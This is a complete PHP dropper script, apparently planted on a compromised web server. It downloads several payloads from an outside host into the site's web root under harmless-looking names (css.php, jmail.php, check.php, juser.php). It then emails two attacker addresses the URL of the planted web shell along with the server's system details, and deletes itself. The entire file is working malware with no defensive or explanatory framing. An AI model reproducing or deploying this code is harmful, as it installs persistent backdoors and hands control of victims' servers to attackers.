<?php

function http_get($url){

	$im = curl_init($url);

	curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);

	curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);

	curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);

	curl_setopt($im, CURLOPT_HEADER, 0);

	return curl_exec($im);

	curl_close($im);

}

$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/css.php" ;

$text = http_get('hxxp://aunando.de/wp-includes/certificates/css.txt');

$open = fopen($check, 'w');

fwrite($open, $text);

fclose($open);

if(file_exists($check)){

    echo $check."</br>";

}else

  echo "not exits";

echo "done .\n " ;

$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/jmail.php" ;

$text2 = http_get('hxxp://aunando.de/wp-includes/certificates/m.txt');

$open2 = fopen($check2, 'w');

fwrite($open2, $text2);

fclose($open2);

if(file_exists($check2)){

    echo $check2."</br>";

}else

  echo "not exits2";

echo "done2 .\n " ;

$check3=$_SERVER['DOCUMENT_ROOT'] . "/w.htm" ;

$text3 = http_get('hxxp://aunando.de/wp-includes/certificates/w.txt');

$op3=fopen($check3, 'w');

fwrite($op3,$text3);

fclose($op3);

$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/check.php" ;

$text4 = http_get('hxxp://aunando.de/wp-includes/certificates/c.txt');

$op4=fopen($check4, 'w');

fwrite($op4,$text4);

fclose($op4);

$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/jmails.php" ;

$text5 = http_get('hxxp://aunando.de/wp-includes/certificates/mm.txt');

$op5=fopen($check5, 'w');

fwrite($op5,$text5);

fclose($op5);

$check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/juser.php" ;

$text6 = http_get('hxxp://aunando.de/wp-includes/certificates/user.txt');

$op6=fopen($check6, 'w');

fwrite($op6,$text6);

fclose($op6);

$toz = "feofeoz443@gmail.com, denniscowelln@hotmail.com";

$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];

$header = 'from: Kekkai Sensen <vonReinherzKlaus@SaikounaHibi.com>' . "\r\n";

$message = "Shellz : hxxp://" . $_SERVER['SERVER_NAME'] . "/libraries/jmail.php?u" . "\r\n" . php_uname() . "\r\n";

$sentmail = @mail($toz, $subject, $message, $header);

@unlink(__FILE__);

?>